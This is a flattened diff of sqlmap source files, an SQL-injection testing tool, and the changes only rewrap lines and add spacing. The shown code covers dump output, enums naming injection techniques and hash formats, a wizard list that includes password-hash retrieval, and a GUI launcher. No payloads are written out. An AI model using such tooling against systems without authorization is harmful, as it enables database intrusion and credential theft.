_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT,
normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (
_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
else: else:
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
else: else:
@ -500,7 +514,9 @@ class Dump(object):
separator += "+%s" % lines separator += "+%s" % lines
separator += "+" separator += "+"
self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "<current>", unsafeSQLIdentificatorNaming(table))) self._write("Database: %s\nTable: %s" % (
unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "<current>",
unsafeSQLIdentificatorNaming(table)))
if conf.dumpFormat == DUMP_FORMAT.SQLITE: if conf.dumpFormat == DUMP_FORMAT.SQLITE:
cols = [] cols = []
@ -537,9 +553,11 @@ class Dump(object):
rtable = replication.createTable(table, cols) rtable = replication.createTable(table, cols)
elif conf.dumpFormat == DUMP_FORMAT.HTML: elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n") dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP,
"<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING) dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP,
"<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n") dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
@ -567,7 +585,8 @@ class Dump(object):
else: else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML: elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace"))) dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(
htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
field += 1 field += 1
@ -621,7 +640,8 @@ class Dump(object):
if not os.path.isdir(dumpDbPath): if not os.path.isdir(dumpDbPath):
os.makedirs(dumpDbPath) os.makedirs(dumpDbPath)
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT,
normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
logger.warning(warnMsg) logger.warning(warnMsg)
@ -639,7 +659,8 @@ class Dump(object):
else: else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML: elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(
htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
field += 1 field += 1
@ -716,6 +737,7 @@ class Dump(object):
def registerValue(self, registerData): def registerValue(self, registerData):
self.string("Registry key value data", registerData, content_type=CONTENT_TYPE.REG_READ, sort=False) self.string("Registry key value data", registerData, content_type=CONTENT_TYPE.REG_READ, sort=False)
# object to manage how to print the retrieved queries output to # object to manage how to print the retrieved queries output to
# standard output and sessions file # standard output and sessions file
dumper = Dump() dumper = Dump()

View File

@ -5,6 +5,7 @@ Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
class PRIORITY(object): class PRIORITY(object):
LOWEST = -100 LOWEST = -100
LOWER = -50 LOWER = -50
@ -14,6 +15,7 @@ class PRIORITY(object):
HIGHER = 50 HIGHER = 50
HIGHEST = 100 HIGHEST = 100
class SORT_ORDER(object): class SORT_ORDER(object):
FIRST = 0 FIRST = 0
SECOND = 1 SECOND = 1
@ -22,6 +24,7 @@ class SORT_ORDER(object):
FIFTH = 4 FIFTH = 4
LAST = 100 LAST = 100
# Reference: https://docs.python.org/2/library/logging.html#logging-levels # Reference: https://docs.python.org/2/library/logging.html#logging-levels
class LOGGING_LEVELS(object): class LOGGING_LEVELS(object):
NOTSET = 0 NOTSET = 0
@ -31,6 +34,7 @@ class LOGGING_LEVELS(object):
ERROR = 40 ERROR = 40
CRITICAL = 50 CRITICAL = 50
class DBMS(object): class DBMS(object):
ACCESS = "Microsoft Access" ACCESS = "Microsoft Access"
DB2 = "IBM DB2" DB2 = "IBM DB2"
@ -60,6 +64,7 @@ class DBMS(object):
RAIMA = "Raima Database Manager" RAIMA = "Raima Database Manager"
VIRTUOSO = "Virtuoso" VIRTUOSO = "Virtuoso"
class DBMS_DIRECTORY_NAME(object): class DBMS_DIRECTORY_NAME(object):
ACCESS = "access" ACCESS = "access"
DB2 = "db2" DB2 = "db2"
@ -89,6 +94,7 @@ class DBMS_DIRECTORY_NAME(object):
RAIMA = "raima" RAIMA = "raima"
VIRTUOSO = "virtuoso" VIRTUOSO = "virtuoso"
class FORK(object): class FORK(object):
MARIADB = "MariaDB" MARIADB = "MariaDB"
MEMSQL = "MemSQL" MEMSQL = "MemSQL"
@ -105,15 +111,18 @@ class FORK(object):
IRIS = "Iris" IRIS = "Iris"
YUGABYTEDB = "YugabyteDB" YUGABYTEDB = "YugabyteDB"
class CUSTOM_LOGGING(object): class CUSTOM_LOGGING(object):
PAYLOAD = 9 PAYLOAD = 9
TRAFFIC_OUT = 8 TRAFFIC_OUT = 8
TRAFFIC_IN = 7 TRAFFIC_IN = 7
class OS(object): class OS(object):
LINUX = "Linux" LINUX = "Linux"
WINDOWS = "Windows" WINDOWS = "Windows"
class PLACE(object): class PLACE(object):
GET = "GET" GET = "GET"
POST = "POST" POST = "POST"
@ -125,6 +134,7 @@ class PLACE(object):
CUSTOM_POST = "(custom) POST" CUSTOM_POST = "(custom) POST"
CUSTOM_HEADER = "(custom) HEADER" CUSTOM_HEADER = "(custom) HEADER"
class POST_HINT(object): class POST_HINT(object):
SOAP = "SOAP" SOAP = "SOAP"
JSON = "JSON" JSON = "JSON"
@ -133,6 +143,7 @@ class POST_HINT(object):
XML = "XML (generic)" XML = "XML (generic)"
ARRAY_LIKE = "Array-like" ARRAY_LIKE = "Array-like"
class HTTPMETHOD(object): class HTTPMETHOD(object):
GET = "GET" GET = "GET"
POST = "POST" POST = "POST"
@ -144,15 +155,18 @@ class HTTPMETHOD(object):
CONNECT = "CONNECT" CONNECT = "CONNECT"
PATCH = "PATCH" PATCH = "PATCH"
class NULLCONNECTION(object): class NULLCONNECTION(object):
HEAD = "HEAD" HEAD = "HEAD"
RANGE = "Range" RANGE = "Range"
SKIP_READ = "skip-read" SKIP_READ = "skip-read"
class REFLECTIVE_COUNTER(object): class REFLECTIVE_COUNTER(object):
MISS = "MISS" MISS = "MISS"
HIT = "HIT" HIT = "HIT"
class CHARSET_TYPE(object): class CHARSET_TYPE(object):
BINARY = 1 BINARY = 1
DIGITS = 2 DIGITS = 2
@ -160,11 +174,13 @@ class CHARSET_TYPE(object):
ALPHA = 4 ALPHA = 4
ALPHANUM = 5 ALPHANUM = 5
class HEURISTIC_TEST(object): class HEURISTIC_TEST(object):
CASTED = 1 CASTED = 1
NEGATIVE = 2 NEGATIVE = 2
POSITIVE = 3 POSITIVE = 3
class HASH(object): class HASH(object):
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z'
@ -198,19 +214,31 @@ class HASH(object):
SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z'
SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z'
# Reference: http://www.zytrax.com/tech/web/mobile_ids.html # Reference: http://www.zytrax.com/tech/web/mobile_ids.html
class MOBILES(object): class MOBILES(object):
BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") BLACKBERRY = ("BlackBerry Z10",
GALAXY = ("Samsung Galaxy S8", "Mozilla/5.0 (Linux; Android 8.0.0; SM-G955U Build/R16NW; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.0.0.50263AP") "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+")
GALAXY = ("Samsung Galaxy S8",
"Mozilla/5.0 (Linux; Android 8.0.0; SM-G955U Build/R16NW; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.0.0.50263AP")
HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)")
HTC = ("HTC 10", "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36") HTC = ("HTC 10",
HUAWEI = ("Huawei P8", "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36") "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36")
IPHONE = ("Apple iPhone 8", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1") HUAWEI = ("Huawei P8",
LUMIA = ("Microsoft Lumia 950", "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15063") "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36")
NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") IPHONE = ("Apple iPhone 8",
NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1")
PIXEL = ("Google Pixel", "Mozilla/5.0 (Linux; Android 10; Pixel) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.117 Mobile Safari/537.36") LUMIA = ("Microsoft Lumia 950",
XIAOMI = ("Xiaomi Mi 8 Pro", "Mozilla/5.0 (Linux; Android 9; MI 8 Pro Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.66 Mobile Safari/537.36") "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15063")
NEXUS = ("Google Nexus 7",
"Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19")
NOKIA = ("Nokia N97",
"Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344")
PIXEL = ("Google Pixel",
"Mozilla/5.0 (Linux; Android 10; Pixel) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.117 Mobile Safari/537.36")
XIAOMI = ("Xiaomi Mi 8 Pro",
"Mozilla/5.0 (Linux; Android 9; MI 8 Pro Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.66 Mobile Safari/537.36")
class PROXY_TYPE(object): class PROXY_TYPE(object):
HTTP = "HTTP" HTTP = "HTTP"
@ -218,16 +246,19 @@ class PROXY_TYPE(object):
SOCKS4 = "SOCKS4" SOCKS4 = "SOCKS4"
SOCKS5 = "SOCKS5" SOCKS5 = "SOCKS5"
class REGISTRY_OPERATION(object): class REGISTRY_OPERATION(object):
READ = "read" READ = "read"
ADD = "add" ADD = "add"
DELETE = "delete" DELETE = "delete"
class DUMP_FORMAT(object): class DUMP_FORMAT(object):
CSV = "CSV" CSV = "CSV"
HTML = "HTML" HTML = "HTML"
SQLITE = "SQLITE" SQLITE = "SQLITE"
class HTTP_HEADER(object): class HTTP_HEADER(object):
ACCEPT = "Accept" ACCEPT = "Accept"
ACCEPT_CHARSET = "Accept-Charset" ACCEPT_CHARSET = "Accept-Charset"
@ -262,16 +293,19 @@ class HTTP_HEADER(object):
X_POWERED_BY = "X-Powered-By" X_POWERED_BY = "X-Powered-By"
X_DATA_ORIGIN = "X-Data-Origin" X_DATA_ORIGIN = "X-Data-Origin"
class EXPECTED(object): class EXPECTED(object):
BOOL = "bool" BOOL = "bool"
INT = "int" INT = "int"
class OPTION_TYPE(object): class OPTION_TYPE(object):
BOOLEAN = "boolean" BOOLEAN = "boolean"
INTEGER = "integer" INTEGER = "integer"
FLOAT = "float" FLOAT = "float"
STRING = "string" STRING = "string"
class HASHDB_KEYS(object): class HASHDB_KEYS(object):
DBMS = "DBMS" DBMS = "DBMS"
DBMS_FORK = "DBMS_FORK" DBMS_FORK = "DBMS_FORK"
@ -288,10 +322,12 @@ class HASHDB_KEYS(object):
KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE"
OS = "OS" OS = "OS"
class REDIRECTION(object): class REDIRECTION(object):
YES = 'Y' YES = 'Y'
NO = 'N' NO = 'N'
class PAYLOAD(object): class PAYLOAD(object):
SQLINJECTION = { SQLINJECTION = {
1: "boolean-based blind", 1: "boolean-based blind",
@ -350,22 +386,29 @@ class PAYLOAD(object):
NEGATIVE = 2 NEGATIVE = 2
REPLACE = 3 REPLACE = 3
class WIZARD(object): class WIZARD(object):
BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba")
INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") INTERMEDIATE = (
ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") "getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema",
"excludeSysDbs")
ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes",
"getPrivileges", "getRoles", "dumpAll")
class ADJUST_TIME_DELAY(object): class ADJUST_TIME_DELAY(object):
DISABLE = -1 DISABLE = -1
NO = 0 NO = 0
YES = 1 YES = 1
class WEB_PLATFORM(object): class WEB_PLATFORM(object):
PHP = "php" PHP = "php"
ASP = "asp" ASP = "asp"
ASPX = "aspx" ASPX = "aspx"
JSP = "jsp" JSP = "jsp"
class CONTENT_TYPE(object): class CONTENT_TYPE(object):
TARGET = 0 TARGET = 0
TECHNIQUES = 1 TECHNIQUES = 1
@ -395,10 +438,12 @@ class CONTENT_TYPE(object):
REG_READ = 25 REG_READ = 25
STATEMENTS = 26 STATEMENTS = 26
class CONTENT_STATUS(object): class CONTENT_STATUS(object):
IN_PROGRESS = 0 IN_PROGRESS = 0
COMPLETE = 1 COMPLETE = 1
class AUTH_TYPE(object): class AUTH_TYPE(object):
BASIC = "basic" BASIC = "basic"
DIGEST = "digest" DIGEST = "digest"
@ -406,15 +451,18 @@ class AUTH_TYPE(object):
NTLM = "ntlm" NTLM = "ntlm"
PKI = "pki" PKI = "pki"
class AUTOCOMPLETE_TYPE(object): class AUTOCOMPLETE_TYPE(object):
SQL = 0 SQL = 0
OS = 1 OS = 1
SQLMAP = 2 SQLMAP = 2
API = 3 API = 3
class NOTE(object): class NOTE(object):
FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
class MKSTEMP_PREFIX(object): class MKSTEMP_PREFIX(object):
HASHES = "sqlmaphashes-" HASHES = "sqlmaphashes-"
CRAWLER = "sqlmapcrawler-" CRAWLER = "sqlmapcrawler-"
@ -427,20 +475,24 @@ class MKSTEMP_PREFIX(object):
SPECIFIC_RESPONSE = "sqlmapresponse-" SPECIFIC_RESPONSE = "sqlmapresponse-"
PREPROCESS = "sqlmappreprocess-" PREPROCESS = "sqlmappreprocess-"
class TIMEOUT_STATE(object): class TIMEOUT_STATE(object):
NORMAL = 0 NORMAL = 0
EXCEPTION = 1 EXCEPTION = 1
TIMEOUT = 2 TIMEOUT = 2
class HINT(object): class HINT(object):
PREPEND = 0 PREPEND = 0
APPEND = 1 APPEND = 1
class FUZZ_UNION_COLUMN: class FUZZ_UNION_COLUMN:
STRING = "<string>" STRING = "<string>"
INTEGER = "<integer>" INTEGER = "<integer>"
NULL = "NULL" NULL = "NULL"
class COLOR: class COLOR:
BLUE = "\033[34m" BLUE = "\033[34m"
BOLD_MAGENTA = "\033[35;1m" BOLD_MAGENTA = "\033[35;1m"
@ -477,6 +529,7 @@ class COLOR:
RED = "\033[31m" RED = "\033[31m"
UNDERLINE = "\033[4m" UNDERLINE = "\033[4m"
class BACKGROUND: class BACKGROUND:
BLUE = "\033[44m" BLUE = "\033[44m"
LIGHT_GRAY = "\033[47m" LIGHT_GRAY = "\033[47m"

View File

@ -5,74 +5,98 @@ Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
class SqlmapBaseException(Exception): class SqlmapBaseException(Exception):
pass pass
class SqlmapCompressionException(SqlmapBaseException): class SqlmapCompressionException(SqlmapBaseException):
pass pass
class SqlmapConnectionException(SqlmapBaseException): class SqlmapConnectionException(SqlmapBaseException):
pass pass
class SqlmapDataException(SqlmapBaseException): class SqlmapDataException(SqlmapBaseException):
pass pass
class SqlmapFilePathException(SqlmapBaseException): class SqlmapFilePathException(SqlmapBaseException):
pass pass
class SqlmapGenericException(SqlmapBaseException): class SqlmapGenericException(SqlmapBaseException):
pass pass
class SqlmapInstallationException(SqlmapBaseException): class SqlmapInstallationException(SqlmapBaseException):
pass pass
class SqlmapMissingDependence(SqlmapBaseException): class SqlmapMissingDependence(SqlmapBaseException):
pass pass
class SqlmapMissingMandatoryOptionException(SqlmapBaseException): class SqlmapMissingMandatoryOptionException(SqlmapBaseException):
pass pass
class SqlmapMissingPrivileges(SqlmapBaseException): class SqlmapMissingPrivileges(SqlmapBaseException):
pass pass
class SqlmapNoneDataException(SqlmapBaseException): class SqlmapNoneDataException(SqlmapBaseException):
pass pass
class SqlmapNotVulnerableException(SqlmapBaseException): class SqlmapNotVulnerableException(SqlmapBaseException):
pass pass
class SqlmapSilentQuitException(SqlmapBaseException): class SqlmapSilentQuitException(SqlmapBaseException):
pass pass
class SqlmapUserQuitException(SqlmapBaseException): class SqlmapUserQuitException(SqlmapBaseException):
pass pass
class SqlmapShellQuitException(SqlmapBaseException): class SqlmapShellQuitException(SqlmapBaseException):
pass pass
class SqlmapSkipTargetException(SqlmapBaseException): class SqlmapSkipTargetException(SqlmapBaseException):
pass pass
class SqlmapSyntaxException(SqlmapBaseException): class SqlmapSyntaxException(SqlmapBaseException):
pass pass
class SqlmapSystemException(SqlmapBaseException): class SqlmapSystemException(SqlmapBaseException):
pass pass
class SqlmapThreadException(SqlmapBaseException): class SqlmapThreadException(SqlmapBaseException):
pass pass
class SqlmapTokenException(SqlmapBaseException): class SqlmapTokenException(SqlmapBaseException):
pass pass
class SqlmapUndefinedMethod(SqlmapBaseException): class SqlmapUndefinedMethod(SqlmapBaseException):
pass pass
class SqlmapUnsupportedDBMSException(SqlmapBaseException): class SqlmapUnsupportedDBMSException(SqlmapBaseException):
pass pass
class SqlmapUnsupportedFeatureException(SqlmapBaseException): class SqlmapUnsupportedFeatureException(SqlmapBaseException):
pass pass
class SqlmapValueException(SqlmapBaseException): class SqlmapValueException(SqlmapBaseException):
pass pass

View File

@ -35,6 +35,7 @@ line = ""
process = None process = None
queue = None queue = None
def runGui(parser): def runGui(parser):
try: try:
from thirdparty.six.moves import tkinter as _tkinter from thirdparty.six.moves import tkinter as _tkinter
@ -83,7 +84,9 @@ def runGui(parser):
# Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
style = _tkinter_ttk.Style() style = _tkinter_ttk.Style()
settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"},
"map": {"background": [("selected", "#C70039"), ("active", "#fc9292")],
"foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
style.theme_create("custom", parent="alt", settings=settings) style.theme_create("custom", parent="alt", settings=settings)
style.theme_use("custom") style.theme_use("custom")
@ -173,7 +176,10 @@ def runGui(parser):
alive = True alive = True
process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) process = subprocess.Popen(
[sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile],
shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1,
close_fds=not IS_WIN)
# Reference: https://stackoverflow.com/a/4896288 # Reference: https://stackoverflow.com/a/4896288
queue = _queue.Queue() queue = _queue.Queue()
@ -223,7 +229,8 @@ def runGui(parser):
helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
helpmenu.add_separator() helpmenu.add_separator()
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2023\n\n (%s)" % DEV_EMAIL_ADDRESS)) helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About",
"Copyright (c) 2006-2023\n\n (%s)" % DEV_EMAIL_ADDRESS))
menubar.add_cascade(label="Help", menu=helpmenu) menubar.add_cascade(label="Help", menu=helpmenu)
window.config(menu=menubar) window.config(menu=menubar)
@ -242,12 +249,14 @@ def runGui(parser):
row = 1 row = 1
if group.get_description(): if group.get_description():
_tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W) _tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3,
sticky=_tkinter.W)
_tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W) _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W)
row += 2 row += 2
for option in group.option_list: for option in group.option_list:
_tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W) _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row,
sticky=_tkinter.W)
if option.type == "string": if option.type == "string":
widget = _tkinter.Entry(frame) widget = _tkinter.Entry(frame)

View File

@ -21,6 +21,7 @@ LOGGER_HANDLER = None
try: try:
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
class _ColorizingStreamHandler(ColorizingStreamHandler): class _ColorizingStreamHandler(ColorizingStreamHandler):
def colorize(self, message, levelno, force=False): def colorize(self, message, levelno, force=False):
if levelno in self.level_map and (self.is_tty or force): if levelno in self.level_map and (self.is_tty or force):
@ -55,33 +56,40 @@ try:
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
if match: if match:
time = match.group(1) time = match.group(1)
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) message = message.replace(time, ''.join(
(self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
match = re.search(r"\[(#\d+)\]", message) # counter match = re.search(r"\[(#\d+)\]", message) # counter
if match: if match:
counter = match.group(1) counter = match.group(1)
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) message = message.replace(counter, ''.join(
(self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
if level != "PAYLOAD": if level != "PAYLOAD":
if any(_ in message for _ in ("parsed DBMS error message",)): if any(_ in message for _ in ("parsed DBMS error message",)):
match = re.search(r": '(.+)'", message) match = re.search(r": '(.+)'", message)
if match: if match:
string = match.group(1) string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(
self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else: else:
match = re.search(r"\bresumed: '(.+\.\.\.)", message) match = re.search(r"\bresumed: '(.+\.\.\.)", message)
if match: if match:
string = match.group(1) string = match.group(1)
message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(
self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else: else:
match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message) match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z",
message)
if match: if match:
string = match.group(1) string = match.group(1)
